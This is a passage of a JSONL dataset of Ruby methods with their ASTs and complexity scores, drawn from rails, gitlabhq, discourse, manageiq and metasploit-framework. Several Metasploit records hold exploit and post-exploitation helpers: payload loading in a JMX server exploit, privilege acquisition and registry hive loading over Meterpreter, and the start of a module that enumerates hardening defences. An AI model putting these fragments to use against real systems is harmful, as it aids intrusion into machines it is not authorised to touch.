end","complexity_score":26.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_single_test_no_name_no_holiday\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"given\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"date\"]},{\"type\":\"str\",\"children\":[\"2016-01-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"us\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expect\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"holiday\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@validator\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"valid?\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dates\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2016-01-01\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"us\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"holiday\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"returns\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"test\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"test\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"Definition\"]},\"Entity\"]},\"Test\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2016-01-01\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"dates\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"regions\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"holiday?\"]}]}]}]}","id":"3dbf146f-e6e7-481f-9d6c-0999a50939e0"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/java_jmx_server.rb","start_line":256,"raw_source":"def load_payload(conn_stub)\n vprint_status(\"Getting JMXPayload instance...\")\n\n begin\n res = send_jmx_get_object_instance(\n object_number: conn_stub[:object_number],\n uid_number: conn_stub[:uid].number,\n uid_time: conn_stub[:uid].time,\n uid_count: conn_stub[:uid].count,\n name: \"#{@mlet}:name=jmxpayload,id=1\"\n )\n rescue ::Rex::Proto::Rmi::Exception => e\n case e.message\n when 'javax.management.InstanceNotFoundException'\n vprint_warning(\"JMXPayload instance not found, trying to load\")\n return load_payload_from_url(conn_stub)\n else\n vprint_error(\"getObjectInstance returned unexpected exception #{e.message}\")\n return false\n end\n end\n\n return false if res.nil?\n\n true\n end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn_stub\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Getting JMXPayload instance...\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_jmx_get_object_instance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object_number\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn_stub\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid\"]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mlet\"]}]},{\"type\":\"str\",\"children\":[\":name=jmxpayload,id=1\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Rmi\"]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"javax.management.InstanceNotFoundException\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"str\",\"children\":[\"JMXPayload instance not found, trying to load\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_payload_from_url\",{\"type\":\"lvar\",\"children\":[\"conn_stub\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"getObjectInstance returned unexpected exception \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"79565cd8-ce49-4264-989d-c40666adaf99"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/broadcast_logger.rb","start_line":135,"raw_source":"def level\n @broadcasts.map(&:level).min\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@broadcasts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]}]}]},\"min\"]}]}","id":"9f6c9f88-f631-47fb-b0d8-299a62de8d27"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240906103042_remove_projects_vulnerability_state_transitions_project_id_fk.rb","start_line":9,"raw_source":"def up\n with_lock_retries do\n remove_foreign_key_if_exists(:vulnerability_state_transitions, :projects,\n name: FOREIGN_KEY_NAME, reverse_lock_order: true)\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"vulnerability_state_transitions\"]},{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEY_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"10b17658-291d-4db0-9e15-68f4064e95b0"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_cluster.rb","start_line":133,"raw_source":"def direct_vm_or_template_ids\n direct_vm_ids + direct_miq_template_ids\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"direct_vm_or_template_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"direct_vm_ids\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"direct_miq_template_ids\"]}]}]}","id":"ca6f04b9-74bd-4647-89f0-f2c84425d69f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/template/base_template.rb","start_line":52,"raw_source":"def <=>(other)\n name <=> other.name\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"<=>\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"name\"]}]}]}","id":"d43cdd4c-db5b-425c-a74a-2f012f709095"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/stack.rb","start_line":153,"raw_source":"def move_after(target, source)\n source_index = assert_index(source, :after)\n source_middleware = middlewares.delete_at(source_index)\n\n target_index = assert_index(target, :after)\n middlewares.insert(target_index + 1, source_middleware)\n end","complexity_score":10.95,"ast_json":"{\"type\":\"def\",\"children\":[\"move_after\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_index\",{\"type\":\"send\",\"children\":[null,\"assert_index\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"sym\",\"children\":[\"after\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source_middleware\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"middlewares\"]},\"delete_at\",{\"type\":\"lvar\",\"children\":[\"source_index\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_index\",{\"type\":\"send\",\"children\":[null,\"assert_index\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"sym\",\"children\":[\"after\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"middlewares\"]},\"insert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"source_middleware\"]}]}]}]}","id":"1258eb65-d3b3-4a09-a6e1-3c16120a8c77"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_query.rb","start_line":700,"raw_source":"def unseen_filter(list, user_first_seen_at, whisperer)\n list = list.where(\"topics.bumped_at >= ?\", user_first_seen_at)\n\n col_name = whisperer ? \"highest_staff_post_number\" : \"highest_post_number\"\n list.where(\"tu.last_read_post_number IS NULL OR tu.last_read_post_number < topics.#{col_name}\")\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unseen_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]},{\"type\":\"arg\",\"children\":[\"user_first_seen_at\"]},{\"type\":\"arg\",\"children\":[\"whisperer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"where\",{\"type\":\"str\",\"children\":[\"topics.bumped_at >= ?\"]},{\"type\":\"lvar\",\"children\":[\"user_first_seen_at\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"col_name\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"whisperer\"]},{\"type\":\"str\",\"children\":[\"highest_staff_post_number\"]},{\"type\":\"str\",\"children\":[\"highest_post_number\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tu.last_read_post_number IS NULL OR tu.last_read_post_number < topics.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col_name\"]}]}]}]}]}]}","id":"8bf05e60-00ad-429b-84e0-ad01c71736f5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/notes_actions.rb","start_line":40,"raw_source":"def create\n @note = Notes::CreateService.new(note_project, current_user, create_note_params).execute\n\n respond_to do |format|\n format.json do\n json = {\n commands_changes: @note.commands_changes&.slice(:emoji_award, :time_estimate, :spend_time)\n }\n\n if @note.persisted? && return_discussion?\n json[:valid] = true\n\n discussion = @note.discussion\n prepare_notes_for_rendering(discussion.notes)\n json[:discussion] = discussion_serializer.represent(discussion, context: self)\n else\n prepare_notes_for_rendering([@note])\n\n json.merge!(note_json(@note))\n end\n\n quick_actions = @note.quick_actions_status\n json[:quick_actions_status] = quick_actions.to_h if quick_actions\n\n if @note.errors.present?\n render json: { errors: errors_on_create(@note) }, status: :unprocessable_entity\n elsif quick_actions&.error?\n render json: { quick_actions_status: quick_actions.to_h }, status: :unprocessable_entity\n else\n render json: json\n end\n end\n format.html { redirect_back_or_default }\n end\n end","complexity_score":66.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@note\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notes\"]},\"CreateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"note_project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"create_note_params\"]}]},\"execute\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commands_changes\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@note\"]},\"commands_changes\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"emoji_award\"]},{\"type\":\"sym\",\"children\":[\"time_estimate\"]},{\"type\":\"sym\",\"children\":[\"spend_time\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@note\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[null,\"return_discussion?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"valid\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"discussion\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@note\"]},\"discussion\"]}]},{\"type\":\"send\",\"children\":[null,\"prepare_notes_for_rendering\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discussion\"]},\"notes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"discussion\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discussion_serializer\"]},\"represent\",{\"type\":\"lvar\",\"children\":[\"discussion\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prepare_notes_for_rendering\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@note\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"merge!\",{\"type\":\"send\",\"children\":[null,\"note_json\",{\"type\":\"ivar\",\"children\":[\"@note\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quick_actions\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@note\"]},\"quick_actions_status\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quick_actions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"quick_actions_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quick_actions\"]},\"to_h\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@note\"]},\"errors\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[null,\"errors_on_create\",{\"type\":\"ivar\",\"children\":[\"@note\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quick_actions\"]},\"error?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quick_actions_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quick_actions\"]},\"to_h\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"json\"]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_back_or_default\"]}]}]}]}]}]}","id":"fb560494-f04b-4a18-b2dd-649d1393d7b8"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/registry.rb","start_line":470,"raw_source":"def meterpreter_registry_loadkey(key, file)\n begin\n client.sys.config.getprivs()\n root_key, base_key = session.sys.registry.splitkey(key)\n begin\n loadres = session.sys.registry.load_key(root_key, base_key, file)\n rescue Rex::Post::Meterpreter::RequestError => e\n case e.to_s\n when \"stdapi_registry_load_key: Operation failed: 1314\"\n #print_error(\"You appear to be lacking the SeRestorePrivilege. Are you running with Admin privs?\")\n return false\n when \"stdapi_registry_load_key: Operation failed: The system cannot find the path specified.\"\n #print_error(\"The path you provided to the Registry Hive does not Appear to be valid: #{file}\")\n return false\n when \"stdapi_registry_load_key: Operation failed: The process cannot access the file because it is being used by another process.\"\n #print_error(\"The file you specified is currently locked by another process: #{file}\")\n return false\n when /stdapi_registry_load_key: Operation failed:/\n #print_error(\"An unknown error has occurred: #{loadres.to_s}\")\n return false\n else\n return true\n end\n end\n\n rescue\n return false\n end\n end","complexity_score":35.0,"ast_json":"{\"type\":\"def\",\"children\":[\"meterpreter_registry_loadkey\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"config\"]},\"getprivs\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"root_key\"]},{\"type\":\"lvasgn\",\"children\":[\"base_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"registry\"]},\"splitkey\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loadres\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"registry\"]},\"load_key\",{\"type\":\"lvar\",\"children\":[\"root_key\"]},{\"type\":\"lvar\",\"children\":[\"base_key\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_registry_load_key: Operation failed: 1314\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_registry_load_key: Operation failed: The system cannot find the path specified.\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_registry_load_key: Operation failed: The process cannot access the file because it is being used by another process.\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_registry_load_key: Operation failed:\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]},null]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]}]}]}","id":"28ed02fc-9ddd-4e6c-9e68-208b1a3fdf5f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250317155200_add_sync_trigger_partitioned_uploads.rb","start_line":15,"raw_source":"def down\n # rubocop:disable Migration/WithLockRetriesDisallowedMethod -- copied from helpers\n with_lock_retries do\n drop_sync_trigger(:uploads)\n end\n # rubocop:enable Migration/WithLockRetriesDisallowedMethod\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"drop_sync_trigger\",{\"type\":\"sym\",\"children\":[\"uploads\"]}]}]}]}","id":"19f8d387-d2ac-45b7-a753-c91ff454c5bc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/module_with_instance_variables.rb","start_line":14,"raw_source":"def on_module(node)\n check_method_definition(node)\n\n # Not sure why some module would have an extra begin wrapping around\n node.each_child_node(:begin) do |begin_node|\n check_method_definition(begin_node)\n end\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_module\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_method_definition\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"each_child_node\",{\"type\":\"sym\",\"children\":[\"begin\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"begin_node\"]}]},{\"type\":\"send\",\"children\":[null,\"check_method_definition\",{\"type\":\"lvar\",\"children\":[\"begin_node\"]}]}]}]}]}","id":"329841b8-7aa9-4ec5-857d-1f65ccedb050"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb","start_line":114,"raw_source":"def latest_wal_locations\n return {} unless job_wal_locations.present?\n\n strong_memoize(:latest_wal_locations) do\n get_cookie.fetch('wal_locations', {})\n end\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"latest_wal_locations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_wal_locations\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"latest_wal_locations\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_cookie\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"wal_locations\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"65b1b68c-6604-49e6-8d50-25b48bf1d24a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/enum_protections.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Linux Gather Protection Enumeration',\n 'Description' => %q{\n This module checks whether popular system hardening mechanisms are\n in place, such as SMEP, SMAP, SELinux, PaX and grsecurity. It also\n tries to find installed applications that can be used to 